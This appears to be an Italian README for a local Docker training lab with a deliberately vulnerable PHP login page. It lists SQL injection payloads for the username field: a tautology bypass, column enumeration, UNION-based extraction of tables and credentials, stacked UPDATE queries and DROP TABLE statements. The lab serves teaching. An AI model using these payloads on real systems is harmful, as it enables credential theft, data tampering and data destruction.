Questo progetto dimostra come un'applicazione web vulnerabile possa essere soggetta ad attacchi di tipo SQL Injection.
Il progetto è composto da:
- Web server: PHP 7.4 + Apache
- Database server: PostgreSQL 14 (
postgres:14) - Docker Compose per gestire entrambi i container.
SQLInjection/
├── docker-compose.yml
├── web/
│ ├── Dockerfile
│ ├── index.php
└── db/
└── init.sql
docker-compose.yml: definisce i container.web/Dockerfile: costruisce il web server con PHP e estensionepgsql.web/index.php: pagina vulnerabile che permette SQL Injection.db/init.sql: script SQL per creare il database iniziale.
-
Creare la struttura delle cartelle:
mkdir -p web db touch docker-compose.yml web/Dockerfile web/index.php db/init.sql
-
Scrivere i file come indicato sopra.
-
Avviare l'ambiente:
docker compose up --build
-
Accedere all'applicazione:
- Web App: http://localhost:8080
-
Per spegnere i container:
docker compose down
-
Per ricostruire tutto da capo:
docker compose up --build
Comando iniziale: docker exec -it db psql -U user -d mydb Visualizzare tabelle: \dt Visualizzare contenuto tabella users: SELECT * FROM users;
- Tautologia:
' OR '1'='1' -- - Commento di fine riga:
' -- - Query Piggybacked: sarà dimostrato successivamente.
- Confidenzialità: Accesso non autorizzato ai dati.
- Integrità: Modifica dei dati (da dimostrare).
- Disponibilità: Cancellazione tabelle (da dimostrare).
- È fondamentale che
--sia seguito da uno spazio per funzionare correttamente come commento SQL. - Il progetto è progettato su Mac con architettura ARM64.
- Le versioni dei container sono state scelte per garantire la compatibilità.
- In PostgreSQL, i nomi delle tabelle e colonne sono case sensitive se creati con virgolette.
- Per esplorare correttamente
information_schema, è utile filtrare pertable_schema='public'.
Usare il seguente metodo incrementando il numero dopo ORDER BY per scoprire quante colonne ci sono:
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--
...
' ORDER BY 999--
-
Campo Username:
' UNION SELECT NULL, table_name, NULL FROM information_schema.tables WHERE table_schema='public' -- -
Campo Password: qualsiasi valore (ignorato)
-
Campo Username:
' UNION SELECT NULL, column_name, NULL FROM information_schema.columns WHERE table_name='users' -- -
Campo Password: qualsiasi valore (ignorato)
-
Campo Username:
' UNION SELECT id, username, password FROM users -- -
Campo Password: qualsiasi valore (ignorato)
-
Campo Username:
' UNION SELECT NULL, username || ' | ' || password || ' | ID: ' || id, NULL FROM users -- -
Campo Password: qualsiasi valore (ignorato)
-
Campo Username:
' UNION SELECT NULL, user_id || ' | ' || order_id || ' | order_date: ' || order_date, NULL FROM orders -- -
Campo Password: qualsiasi valore (ignorato)
-
Campo Username:
admin'; UPDATE orders SET order_id='500000' WHERE user_id='1'; --admin'; UPDATE users SET password='hacked' WHERE username='user1'; -- -
Campo Password: qualsiasi valore (ignorato)
-
Campo Username:
admin' ; DROP TABLE users; -- -
Campo Password: qualsiasi valore (ignorato)
-
Campo Username:
admin' ; DROP TABLE users CASCADE; -- -
Campo Password: qualsiasi valore (ignorato)